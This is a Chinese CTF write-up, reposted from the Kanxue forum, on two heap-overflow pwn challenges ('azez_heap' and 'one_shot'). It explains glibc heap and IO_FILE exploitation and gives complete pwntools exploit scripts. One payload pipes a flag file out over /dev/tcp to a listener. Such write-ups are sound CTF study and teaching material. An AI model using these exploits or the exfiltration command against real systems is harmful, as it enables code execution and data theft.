查看原文
其他

溢 出 大 师

xmzyshypnc 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:xmzyshypnc





前言


前几天跟着看了几场比赛的题,有两道PWN题印象很深刻,只有一次堆溢出写,限制很多,在这里分享一下思路。




DASCTF六月赛 azez_heap


程序逻辑 & 漏洞利用


比较典型的菜单题,堆块添加部分只能添加0x80及以上大小的堆块,只能用calloc分配。给一个小sz的堆块会改成0x80,但是注意此时在sz_list[idx]填的值仍为开始的sz。

unsigned __int64 __fastcall add(__int64 a1, __int64 a2){ int v2; // ebx _QWORD *v3; // rax unsigned __int64 v4; // rax unsigned __int64 sz; // rbp size_t v6; // rdi void *chunk_addr; // rax unsigned __int64 v9; // [rsp+8h] [rbp-20h]
v2 = 0; v9 = __readfsqword(0x28u); v3 = qword_4080; while ( *v3 ) { v3 += 2; v2 += 2; if ( &qword_4080[0x14] == v3 ) exit_0(); } puts("Can U tell me the len of note?"); v4 = get_int(); sz = v4; if ( v4 <= 0x7F ) { v6 = 0x80LL; goto LABEL_7; } v6 = v4; if ( v4 <= 0x2333 ) {LABEL_7: chunk_addr = calloc(v6, 1uLL); ++qword_4058; qword_4080[v2] = chunk_addr; qword_4080[v2 + 1] = sz; } return __readfsqword(0x28u) ^ v9;}

view只能用一次,当查看的对象的sz小于0x500时,调用malloc(0x500)分配一个chunk并且把目标堆块内容拷贝过去并输出。这里可以使用add(0)使得某个sz_list[idx]为0,从而拷贝了个寂寞,输出malloc的堆块的内容。

unsigned __int64 __fastcall view(__int64 a1, __int64 a2){ unsigned __int64 v2; // rax signed __int64 v3; // rbp const void *init_chunk; // r12 signed __int64 sz; // r13 void *malloc_chunk; // r14 unsigned __int64 result; // rax size_t v8; // rdx unsigned __int64 v9; // [rsp+8h] [rbp-30h]
v9 = __readfsqword(0x28u); qword_4060 = 1LL; puts("Which note U want to view?"); v2 = get_int(); v3 = 2 * v2; init_chunk = (const void *)qword_4080[2 * v2]; if ( v2 > 9 || !init_chunk ) return __readfsqword(0x28u) ^ v9; sz = qword_4080[2 * v2 + 1]; if ( sz > 0x4FF ) { v8 = strlen((const char *)qword_4080[2 * v2]); result = write(1, init_chunk, v8); } else { malloc_chunk = malloc(0x500uLL); memcpy(malloc_chunk, init_chunk, sz); printf("Here is U2 note:", init_chunk); result = write(1, malloc_chunk, (unsigned int)(SLOBYTE(qword_4080[v3]) + 1)); } return result;}

edit可以溢出写0x18个字节,delete正常删除并清空bss的数据。

int edit(){ unsigned __int64 v0; // rax void *v1; // rbp __int64 v2; // rbx
if ( qword_4068 ) { puts("U can no longer modify"); exit_0(); } qword_4068 = 1LL; puts("Which note U want to fill in?"); v0 = get_int(); v1 = (void *)qword_4080[2 * v0]; v2 = qword_4080[2 * v0 + 1]; if ( v1 == 0LL || v0 > 9 || !v2 ) return puts("the ptr is null"); puts("Hey,Plz input U2 note"); return sub_1440(v1, v2 + 0x18);}

目标系统是18.04,首先分配一个块,释放后把它摁进large bin,完事儿调用view的malloc得到这个块,memecpy的sz为0即可泄露出堆地址和libc地址。
 
由于只有一次溢出写,我们先用溢出写一个unsorted bin的bk,改为global_max_fast-0x10,从而让近乎所有大小的堆块都按照fastbin处理。

随后释放某个sz的堆块,让_IO_list_all写入这个堆地址,原理是fastbin堆块的头指针会存放到main_arena->fastbinsY[10],由于我们改了global_max_fast,大于0x80的堆块释放后也会依次放到fastbinY后面的地址处,计算这样一个sz出来,这里是0x1438,分配的堆块最大为0x2333,因此在合法范围内。

释放后即可改_IO_list_all。在glibc 2.24后有一套IO攻击的技巧,详情可以参考glibc 2.24 下 IO_FILE 的利用 ,布置一下布局,主要是在fp+0xe8处布置system,fp->_IO_buf_end布置参数地址,还有几个检查绕一下。

这里因为需要exit退出的时候触发,而exit前关闭了0/1/2,所以需要反弹shell,我本地起shell失败了,选择直接把flag输出回来。

exp.py


#coding=utf-8from pwn import *
r = lambda p:p.recv()rl = lambda p:p.recvline()ru = lambda p,x:p.recvuntil(x)rn = lambda p,x:p.recvn(x)rud = lambda p,x:p.recvuntil(x,drop=True)s = lambda p,x:p.send(x)sl = lambda p,x:p.sendline(x)sla = lambda p,x,y:p.sendlineafter(x,y)sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./azez_heap')libc_offset = 0x3c4b20gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')if debug: p = process('./azez_heap')else: p = remote('127.0.0.1',6666)
def Add(sz): p.recvuntil('choice:') p.sendline('1') p.recvuntil("Can U tell me the len of note?") p.sendline(str(sz))
def Edit(idx,content): p.recvuntil('choice:') p.sendline('2') p.recvuntil("Which note U want to fill in?") p.sendline(str(idx)) p.recvuntil("Hey,Plz input U2 note") p.send(content)
def Delete(idx): p.recvuntil('choice:') p.sendline('3') p.recvuntil("Which note U want to del?") p.sendline(str(idx))
def Show(idx): p.recvuntil('choice:') p.sendline('4') p.recvuntil("Which note U want to view?") p.sendline(str(idx))
def Exit(): p.recvuntil('choice:') p.sendline('5')

def exp(): #leak libc Add(0x500)#0 Add(0)#1 Delete(0) Add(0x600)#0
Show(1) p.recvuntil("Here is U2 note:") libc_base = u64(p.recvn(8)) - libc.sym['__malloc_hook'] - 0x10 - 1168 log.success("libc base => " + hex(libc_base)) p.recvn(8) heap_base = u64(p.recvn(8)) - 0x250 log.success("heap base => " + hex(heap_base)) libc.address = libc_base #get shell #binsh_addr = libc.search("/bin/sh").next() binsh_addr = heap_base+0xef0 str_jumps = libc_base + (0x7ffff7dcc360-0x7ffff79e4000) write_data = libc_base + (0x7ffff7dcf8c0-0x7ffff79e4000) Add(0x1438)#2 Add(0x420)#3 Add(0x17)#4 Delete(3) payload = p64(0)*3 payload += p64(1) payload += p64(0) payload += p64((binsh_addr)) payload += p64(0)*4+p64(0)+p64(libc.sym['_IO_2_1_stderr_'])+p64(3)+p64(0)+p64(0)+p64(0)+p64(0)*2+p64(0)+p64(2)+p64(3)+p64(0)+p64(0)+p64(0)*2+p64(str_jumps-8)+p64(0)+p64(libc.sym['system']) payload += "bash -c 'cat ./flag >/dev/tcp/127.0.0.1/1234 0>&1'" payload = payload.ljust(0x1438,'\x00') payload += p64(0x431)+p64(0)+p64(libc_base+(0x7ffff7dd1940-0x7ffff79e4000)-0x10) Edit(2,payload)
Add(0x420)

Delete(2) #gdb.attach(p)
Exit()

p.interactive()
exp()




pwnhub内部赛 one_shot


程序逻辑 & 漏洞利用


这个题的设计和上面很像,不过add时最大的sz大小改成了0x1000,这使得之前的解法直接失效了,不过给了个奇怪的后门函数,可以使用scanf输入大量数据。

unsigned __int64 backdoor(){ char v1; // [rsp+0h] [rbp-610h] unsigned __int64 v2; // [rsp+608h] [rbp-8h] v2 = __readfsqword(0x28u); if ( dword_20201C ) { --dword_20201C; __isoc99_scanf("%1535s", &v1); } return __readfsqword(0x28u) ^ v2;}

这里的leak相对更简单,给了两个gift用来输出地址,分别得到堆地址和libc地址。
 
使用tcache stashing attck将_IO_2_1_stdin_->_IO_buf_end改成main_arena+x(我这里是+352),从而可以在scanf的时候输入数据到realloc_hook和malloc_hook,改成one_gadget,调节下偏移即可。

exp.py


#coding=utf-8from pwn import * r = lambda p:p.recv()rl = lambda p:p.recvline()ru = lambda p,x:p.recvuntil(x)rn = lambda p,x:p.recvn(x)rud = lambda p,x:p.recvuntil(x,drop=True)s = lambda p,x:p.send(x)sl = lambda p,x:p.sendline(x)sla = lambda p,x,y:p.sendlineafter(x,y)sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='amd64',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./pwn')libc_offset = 0x3c4b20gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')if debug: p = process('./pwn')else: p = remote('120.92.79.217',10001) def Add(idx,sz): p.recvuntil('choice:') p.sendline('1') p.recvuntil("idx:") p.sendline(str(idx)) p.recvuntil("size:") p.sendline(str(sz)) def Edit(idx,content): p.recvuntil('choice:') p.sendline('3') p.recvuntil("idx:") p.sendline(str(idx)) p.recvuntil("content:") p.send(content) def Delete(idx): p.recvuntil('choice:') p.sendline('2') p.recvuntil("idx:") p.sendline(str(idx)) def Show(idx): p.recvuntil('choice:') p.sendline('5') p.recvuntil("idx:") p.sendline(str(idx)) def Gift1(idx): p.recvuntil('choice:') p.sendline('4') p.recvuntil("idx:") p.sendline(str(idx)) def Backdoor(content): p.recvuntil('choice:') p.sendline('6') p.send(content) def exp(): #leak libc Add(0,0x510) Add(1,0x510) Add(16,0x80) Add(2,0x510) Add(15,0x80) Delete(0) Gift1(3)#init 0 p.recvuntil("gift=> 0x") heap_base = int(p.recvuntil("Welc",drop=True),16) - 0x260 log.success("heap base => " + hex(heap_base)) Show(3) p.recvline() libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 1168 log.success("libc base => " + hex(libc_base)) libc.address = libc_base #tcache stashing for i in range(6): Add(4,0x100) Delete(4) Delete(2) Add(4,0x408) Add(5,0x500) Delete(1) Add(2,0x408) Add(6,0x500) target = libc.sym['_IO_2_1_stdin_']+0x40 Edit(2,'a'*0x400+p64(0)+p64(0x111)+p64(heap_base+(0x000055ea00da60a0-0x55ea00da5000))+p64(target-0x10)) Add(8,0x100) payload = '\x00'*5 static_libc = 0x7fc6d768c000 one_gadget = libc_base + gadgets[6] print hex(one_gadget) realloc = libc.sym['realloc'] payload += flat([ libc_base+(0x7fc6d7a798d0-static_libc), 0xffffffffffffffff, 0, libc_base+(0x7fc6d7a77ae0-static_libc), 0,0,0,0xffffffff,0,0,libc_base+(0x7fc6d7a742a0-static_libc), ]) payload += '\x00'*0x130 payload += flat([ libc.sym['_IO_wfile_jumps'], 0, libc_base+(0x7fc6d7723410-static_libc), one_gadget, realloc+8 ]) Backdoor(payload+'\n') #gdb.attach(p,'b calloc') Add(1,0x170) p.interactive() exp(



- End -



看雪ID:xmzyshypnc

https://bbs.pediy.com/user-856861.htm

  *本文由看雪论坛 xmzyshypnc 原创,转载请注明来自看雪社区。



推荐文章++++

* 萌新逆向学习笔记——消息钩子键盘记录

* 关于Kimsuky的一次恶意样本分析小记

* HellsingAPT分享

* 萌新逆向学习笔记——远程线程注入DLL

* 追踪活动中相遇CobaltStrike的故事







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com


求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存